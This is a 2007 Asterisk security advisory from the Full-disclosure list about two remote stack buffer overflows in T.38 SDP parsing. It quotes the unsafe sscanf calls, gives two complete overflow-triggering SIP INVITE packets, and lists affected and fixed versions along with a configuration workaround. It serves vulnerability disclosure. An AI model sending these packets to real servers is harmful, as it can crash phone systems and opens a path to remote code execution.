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[Full-disclosure] ASA-2007-010: Two stack buffer overflows in SIP channe

Subject: [Full-disclosure] ASA-2007-010: Two stack buffer overflows in SIP channel's T.38 SDP parsing code
Date: Tue, 24 Apr 2007 18:20:26 -0500
               Asterisk Project Security Advisory - ASA-2007-010

   +------------------------------------------------------------------------+
   |      Product       | Asterisk                                          |
   |--------------------+---------------------------------------------------|
   |      Summary       | Two stack buffer overflows in SIP channel's T.38  |
   |                    | SDP parsing code                                  |
   |--------------------+---------------------------------------------------|
   | Nature of Advisory | Exploitable Stack Buffer Overflow                 |
   |--------------------+---------------------------------------------------|
   |   Susceptibility   | Remote Unauthenticated Sessions                   |
   |--------------------+---------------------------------------------------|
   |      Severity      | Moderate                                          |
   |--------------------+---------------------------------------------------|
   |   Exploits Known   | No                                                |
   |--------------------+---------------------------------------------------|
   |    Reported On     | March 22, 2007                                    |
   |--------------------+---------------------------------------------------|
   |    Reported By     | Barrie Dempster, NGS Software,                    |
   |                    | <barrie@ngssoftware.com>                          |
   |--------------------+---------------------------------------------------|
   |     Posted On      | April 24, 2007                                    |
   |--------------------+---------------------------------------------------|
   |  Last Updated On   | April 24, 2007                                    |
   |--------------------+---------------------------------------------------|
   |  Advisory Contact  | kpfleming@digium.com                              |
   +------------------------------------------------------------------------+

+------------------------------------------------------------------------------------+
|Description|Two closely related stack based buffer overflows exist in the 
SIP/SDP   |
|           |handler of Asterisk, the vulnerabilities are very similar but 
exist as  |
|           |two separate unsafe function calls. The T38FaxRateManagement and 
       |
|           |T38FaxUdpEC SDP parameters can be exploited remotely leading to  
       |
|           |arbitrary code execution without authentication. In order for 
these     |
|           |overflows to occur, t38 fax over SIP must be enabled in 
sip.conf.       |
|           |Examples of SIP INVITE packets are shown below, however these    
       |
|           |vulnerabilities can be triggered with a number of different SIP 
messages|
|           |affecting calls received by Asterisk, or in response to calls 
made by   |
|           |Asterisk.                                                        
       |
|           |                                                                 
       |
|           |Remote Unauthenticated stack overflow in Asterisk SIP/SDP        
       |
|           |T38FaxRateManagement parameter                                   
       |
|           |                                                                 
       |
|           |A remote unauthenticated stack overflow exists in the SIP/SDP 
handler of|
|           |Asterisk. By sending a SIP packet with SDP data which includes 
an overly|
|           |long T38 parameter it is possible to overflow a stack based 
buffer and  |
|           |execute arbitrary code.                                          
       |
|           |                                                                 
       |
|           |The process_sdp function of chan_sip.c in Asterisk contains the  
       |
|           |following vulnerable call to sscanf.                             
       |
|           |                                                                 
       |
|           |else if ((sscanf(a, "T38FaxRateManagement:%s", s) == 1)) {       
       |
|           |                                                                 
       |
|           |found = 1;                                                       
       |
|           |                                                                 
       |
|           |if (option_debug > 2)                                            
       |
|           |                                                                 
       |
|           |ast_log(LOG_DEBUG, "RateMangement: %s\n", s);                    
       |
|           |                                                                 
       |
|           |if (!strcasecmp(s, "localTCF"))                                  
       |
|           |                                                                 
       |
|           |peert38capability |=                                             
       |
|           |                                                                 
       |
|           |T38FAX_RATE_MANAGEMENT_LOCAL_TCF;                                
       |
|           |                                                                 
       |
|           |else if (!strcasecmp(s, "transferredTCF"))                       
       |
|           |                                                                 
       |
|           |peert38capability |=                                             
       |
|           |                                                                 
       |
|           |T38FAX_RATE_MANAGEMENT_TRANSFERED_TCF;                           
       |
|           |                                                                 
       |
|           |This attempts to read the "T38FaxRateManagement:" option from 
the SDP   |
|           |within a SIP packet and copy the succeeding string into "s". 
There are  |
|           |no checks on the length of this string and we can therefore 
write past  |
|           |the boundaries of the "s" variable overwriting adjacent memory 
on the   |
|           |stack. "s" is defined earlier in this function as being a 
character     |
|           |array of only 256 bytes. The following example packet 
demonstrates an   |
|           |overflow of this parameter:                                      
       |
|           |                                                                 
       |
|           |INVITE sip:200@127.0.0.1 SIP/2.0                                 
       |
|           |                                                                 
       |
|           |Date: Wed, 21 Mar 2007 4:20:09 GMT                               
       |
|           |                                                                 
       |
|           |CSeq: 1 INVITE                                                   
       |
|           |                                                                 
       |
|           |Via: SIP/2.0/UDP                                                 
       |
|           |                                                                 
       |
|           
|10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport|
|           |                                                                 
       |
|           |User-Agent: NGS/2.0                                              
       |
|           |                                                                 
       |
|           |From: "Barrie Dempster"                                          
       |
|           |                                                                 
       |
|           
|<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672    |
|           |                                                                 
       |
|           |Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades           
       |
|           |                                                                 
       |
|           |To: <sip:200@localhost>                                          
       |
|           |                                                                 
       |
|           |Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>               
       |
|           |                                                                 
       |
|           |Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE        
       |
|           |                                                                 
       |
|           |Content-Type: application/sdp                                    
       |
|           |                                                                 
       |
|           |Content-Length: 796                                              
       |
|           |                                                                 
       |
|           |Max-Forwards: 70                                                 
       |
|           |                                                                 
       |
|           |v=0                                                              
       |
|           |                                                                 
       |
|           |o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1    
       |
|           |                                                                 
       |
|           |s=-                                                              
       |
|           |                                                                 
       |
|           |c=IN IP4 127.0.0.1                                               
       |
|           |                                                                 
       |
|           |t=0 0                                                            
       |
|           |                                                                 
       |
|           |m=image 5004 UDPTL t38                                           
       |
|           |                                                                 
       |
|           |a=T38FaxVersion:0                                                
       |
|           |                                                                 
       |
|           |a=T38MaxBitRate:14400                                            
       |
|           |                                                                 
       |
|           |a=T38FaxMaxBuffer:1024                                           
       |
|           |                                                                 
       |
|           |a=T38FaxMaxDatagram:238                                          
       |
|           |                                                                 
       |
|           
|a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAA                                                 
       |
|           |                                                                 
       |
|           |a=T38FaxUdpEC:t38UDPRedundancy                                   
       |
|           |                                                                 
       |
|           |-------------------------------------------------                
       |
|           |                                                                 
       |
|           |Remote Unauthenticated stack overflow in Asterisk SIP/SDP 
T38FaxUdpEC   |
|           |parameter                                                        
       |
|           |                                                                 
       |
|           |A remote unauthenticated stack overflow exists in the SIP/SDP 
handler of|
|           |Asterisk. By sending a SIP packet with SDP data which includes 
an overly|
|           |long T38FaxUdpEC parameter it is possible to overflow a stack 
based     |
|           |buffer and execute arbitrary code.                               
       |
|           |                                                                 
       |
|           |The process_sdp function of chan_sip.c in Asterisk contains the  
       |
|           |following vulnerable call to sscanf.                             
       |
|           |                                                                 
       |
|           |else if ((sscanf(a, "T38FaxUdpEC:%s", s) == 1)) {                
       |
|           |                                                                 
       |
|           |found = 1;                                                       
       |
|           |                                                                 
       |
|           |if (option_debug > 2)                                            
       |
|           |                                                                 
       |
|           |ast_log(LOG_DEBUG, "UDP EC: %s\n", s);                           
       |
|           |                                                                 
       |
|           |if (!strcasecmp(s, "t38UDPRedundancy")) {                        
       |
|           |                                                                 
       |
|           |peert38capability |=                                             
       |
|           |                                                                 
       |
|           |T38FAX_UDP_EC_REDUNDANCY;                                        
       |
|           |                                                                 
       |
|           |ast_udptl_set_error_correction_scheme(p->udptl,                  
       |
|           |                                                                 
       |
|           |UDPTL_ERROR_CORRECTION_REDUNDANCY);                              
       |
|           |                                                                 
       |
|           |This attempts to read the "T38FaxUdpEC:" option from the SDP 
within a   |
|           |SIP packet and copy the succeeding string into "s". There are no 
checks |
|           |on the length of this string and we can therefore write past the 
       |
|           |boundaries of the "s" variable overwriting adjacent memory on 
the stack.|
|           |"s" is defined earlier in this function as being a character 
array of   |
|           |only 256 bytes. The following example packet demonstrates an 
overflow of|
|           |this parameter:                                                  
       |
|           |                                                                 
       |
|           |INVITE sip:200@127.0.0.1 SIP/2.0                                 
       |
|           |                                                                 
       |
|           |Date: Wed, 21 Mar 2007 4:20:09 GMT                               
       |
|           |                                                                 
       |
|           |CSeq: 1 INVITE                                                   
       |
|           |                                                                 
       |
|           |Via: SIP/2.0/UDP                                                 
       |
|           |                                                                 
       |
|           
|10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport|
|           |                                                                 
       |
|           |User-Agent: NGS/2.0                                              
       |
|           |                                                                 
       |
|           |From: "Barrie Dempster"                                          
       |
|           |                                                                 
       |
|           
|<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672    |
|           |                                                                 
       |
|           |Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades           
       |
|           |                                                                 
       |
|           |To: <sip:200@localhost>                                          
       |
|           |                                                                 
       |
|           |Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>               
       |
|           |                                                                 
       |
|           |Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE        
       |
|           |                                                                 
       |
|           |Content-Type: application/sdp                                    
       |
|           |                                                                 
       |
|           |Content-Length: 796                                              
       |
|           |                                                                 
       |
|           |Max-Forwards: 70                                                 
       |
|           |                                                                 
       |
|           |v=0                                                              
       |
|           |                                                                 
       |
|           |o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1    
       |
|           |                                                                 
       |
|           |s=-                                                              
       |
|           |                                                                 
       |
|           |c=IN IP4 127.0.0.1                                               
       |
|           |                                                                 
       |
|           |t=0 0                                                            
       |
|           |                                                                 
       |
|           |m=image 5004 UDPTL t38                                           
       |
|           |                                                                 
       |
|           |a=T38FaxVersion:0                                                
       |
|           |                                                                 
       |
|           |a=T38MaxBitRate:14400                                            
       |
|           |                                                                 
       |
|           |a=T38FaxMaxBuffer:1024                                           
       |
|           |                                                                 
       |
|           |a=T38FaxMaxDatagram:238                                          
       |
|           |                                                                 
       |
|           
|a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
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|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
       |
|           |                                                                 
       |
|           |AAAAAAAAA                                                        
       |
+------------------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Resolution | T.38 support in the affected versions of Asterisk is not  |
   |            | enabled by default, therefore the severity of this issue  |
   |            | is 'moderate'.                                            |
   |            |                                                           |
   |            | Users who are using the default configuration with        |
   |            | 't38_udptl' set to 'no' or an equivalent value are not    |
   |            | susceptible to this vulnerability. Users who have set     |
   |            | this configuration item to 'yes' or an equivalent value   |
   |            | but are not actually using T.38 support can set it to     |
   |            | 'no' to secure their systems against this vulnerability.  |
   |            |                                                           |
   |            | All other users are urged to upgrade to the appropriate   |
   |            | version of their Asterisk product listed in the           |
   |            | 'Corrected In' section below.                             |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                           Affected Versions                            |
   |------------------------------------------------------------------------|
   |           Product            |   Release   |                           |
   |                              |   Series    |                           |
   |------------------------------+-------------+---------------------------|
   |     Asterisk Open Source     |    1.0.x    | not affected; does not    |
   |                              |             | contain T.38 support      |
   |------------------------------+-------------+---------------------------|
   |     Asterisk Open Source     |    1.2.x    | not affected, does not    |
   |                              |             | contain T.38 support      |
   |------------------------------+-------------+---------------------------|
   |     Asterisk Open Source     |    1.4.x    | all releases prior to     |
   |                              |             | 1.4.3                     |
   |------------------------------+-------------+---------------------------|
   |  Asterisk Business Edition   |    A.x.x    | not affected, does not    |
   |                              |             | contain T.38 support      |
   |------------------------------+-------------+---------------------------|
   |  Asterisk Business Edition   |    B.x.x    | not affected, does not    |
   |                              |             | contain T.38 support      |
   |------------------------------+-------------+---------------------------|
   |         AsteriskNOW          | pre-release | all releases prior to and |
   |                              |             | including Beta 5          |
   |------------------------------+-------------+---------------------------|
   | Asterisk Appliance Developer |    0.x.x    | all releases prior to     |
   |             Kit              |             | 0.4.0                     |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |                              Corrected In                              |
   |------------------------------------------------------------------------|
   |      Product       |                      Release                      |
   |--------------------+---------------------------------------------------|
   |   Asterisk Open    |               1.4.3, available from               |
   |       Source       |    ftp://ftp.digium.com/pub/telephony/asterisk    |
   |--------------------+---------------------------------------------------|
   |    AsteriskNOW     |            Beta 6, when available from            |
   |                    | http://www.asterisknow.org, Beta 5 users can use  |
   |                    |   use 'System Update' in the appliance control    |
   |                    |   panel to update their version of AsteriskNOW    |
   |--------------------+---------------------------------------------------|
   | Asterisk Appliance |               0.4.0, available from               |
   |   Developer Kit    |      ftp://ftp.digium.com/pub/telephony/aadk      |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   |        Links         |                                                 |
   +------------------------------------------------------------------------+

   +------------------------------------------------------------------------+
   | Asterisk Project Security Advisories are posted at                     |
   | http://www.asterisk.org/security.                                      |
   |                                                                        |
   | This document may be superseded by later versions; if so, the latest   |
   | version will be posted at                                              |
   | http://www.asterisk.org/files/ASA-2007-010.pdf.                        |
   +------------------------------------------------------------------------+

               Asterisk Project Security Advisory - ASA-2007-010
              Copyright (c) 2007 Digium, Inc. All Rights Reserved.
  Permission is hereby granted to distribute and publish this advisory in its
                           original, unaltered form.

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